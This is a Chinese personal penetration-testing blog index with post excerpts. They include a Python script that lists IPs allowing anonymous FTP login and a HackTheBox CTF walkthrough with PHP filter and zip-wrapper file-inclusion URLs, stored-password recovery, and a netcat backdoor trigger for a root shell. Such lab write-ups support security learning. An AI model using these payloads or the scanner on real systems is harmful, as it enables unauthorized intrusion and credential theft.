grep ‘21/tcp’ */nmap-result > test/result 2

将ip写入ip.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#if anonymous can login 
from ftplib import FTP,error_perm
 
def try_login(IP):
	f=FTP(IP)
	try:
		f.login()
		print "Current working directory:", f.pwd()
		f.quit()
	except error_perm:
		print 'error'	
		return #ignore non-directories and ones we cannot enter
f = open("ip.txt",'r')
all_ip = f.read().splitlines()
print all_ip
for i in all_ip:
	print i
	try_login(i)
	print '-----------'

3


修改下try的代码段,列出ip.txt中,可以匿名登陆的ip。

1
2
3
4
5
6
7
8
9
10
		f.login()
		print "Current working directory:", f.pwd()
		
		entries = []
		f.dir(entries.append)
		print "%d entries:" % len(entries)

		for entry in entries:
			print entry
		f.quit()

4

阅读全文 »

shell-script(四) range-scan.sh

发表于 2019-05-17 | 分类于 linux

上一篇

阅读全文 »

从中国与日本的女性地位谈婚姻

发表于 2019-05-17 | 分类于 View

首先要感谢毛爷爷,当时宣传“妇女能顶半边天”。

阅读全文 »

China should release birth restrictions

发表于 2019-05-16 | 分类于 View

前言

因为选修了“英语演讲的艺术”,所以写了一篇演讲稿,主题是“中国应该放开生育限制”

阅读全文 »

dropzone

发表于 2019-05-03 | 分类于 training

扫描

阅读全文 »

Crimestoppers Php伪协议在文件包含中的妙用

发表于 2019-05-02

title: CrimeStoppers-PHP伪协议在文件包含中的妙用 categories:

  • CTF tags:
  • CTF

hackthebox是一个在线的渗透平台,废话不多说,现在来学习如何利用web常见漏洞——PHP文件包含。最后的提权方式涉及到了反汇编的内容。

扫描

new-008

Nmap显示只有一个Apache 服务器在默认端口上运行。

Dirbuster目录探测

new-013

测试Web服务器会显示相当多的PHP脚本,但是尝试访问大多数脚本会显示是空白页。这个暗示了文件是被其他脚本包含引用的。

用burp抓包,发现cookie参数为 admin=0

new-018

new-019

修改cookie admin=1,可以发现多出来list这个网页,获得文件上传后的地址。

PHP文件包含

很明显,op参数用于在当前工作目录中包含一个php文件。通过使用php过滤器将目标文件转换为base64,可以获得php文件的源代码。

http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=index

这一请求将输出以base64格式编码的 index.php 的内容。这说明了两件事,1:本地文件包含漏洞验证了存在,2:可以使用php伪协议

new-024

PHP ZIP wrapper/二进制数据上传

再次使用op参数,可以使用 php wrappers 在ZIP压缩文件中包含一个文件。

http://10.10.10.80/?op=zip://uploads/<LAB IP>/FILENAME#writeup.php?cmd=id

这里的FILENAME是tip/zip文件的hash。

通过burp拦截tip提交请求,并输入zip文件的原始数据,可以利用上述技术实现远程代码执行。

new-029

在上面的例子中,隐藏名是 9dfc0e1200ee90d2a380c2fcd2ff036754be27b4

通过结合使用zip打包器,可以通过zip中包含的writeup.php文件执行命令。

new-034

http://10.10.10.80/?op=zip://uploads/10.10.14.4/9dfc0e1200ee90d2a380c2fcd2ff036754be27b4%23writeup&cmd=id

权限提升

浏览dom用户目录会发现安装了一个Thunderbird。只需复制文件并在本地加载Thunderbird中的配置文件,或运行strings global-messages-db.sqlite上运行字符串,将会提供一个提示,建议被识别为后门的Apache模块rkhunter。

new-039

火狐解密:https://github.com/unode/firefox_decrypt

通过使用上述工具,可以恢复dom的密码。因为默认情况下,Thunderbird没有设置主密码,所以恢复密码很简单。

new-039

运行netstat-lp命令可以显示ssh正在侦听ipv6。使用ifconfig或ip addr可以很容易地获得目标的ipv6地址。结合从Thunderbird获得的凭证,可以用dom作为用户,ssh直接连入。

提权

检查IDA中的mod_rootme.so文件,会发现一个DarkArmy函数。进一步检查发现,该函数使用十六进制字符串对文本“HackTheBox”进行了异或。

new-044

new-045

因为Hack the box (用XOR计算器进行异或计算)结果为 e140d383b0b0c271b01,我们发现了后门密码。

new-050

一旦获得了密码短语,利用后门就很简单了。只需运行命令nc 10.10.10.80 80 ,然后输入GET FunSociety,就会获得一个root shell。

new-051

参考资料

有趣的本地文件包含方式:

https://diablohorn.com/2010/01/16/interesting-local-file-inclusion-method/

阅读全文 »

Tenten(sudo -l)

发表于 2019-05-01 | 分类于 CTF

10.10.10.10

阅读全文 »
1 … 11 12 13 … 34
whale

whale

Aimed at Pro Penetration tester. Email me "weaponmaster3070@gmail.com"

400 日志
32 分类
45 标签
github
© 2021 whale
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访客数 人 总访问量 次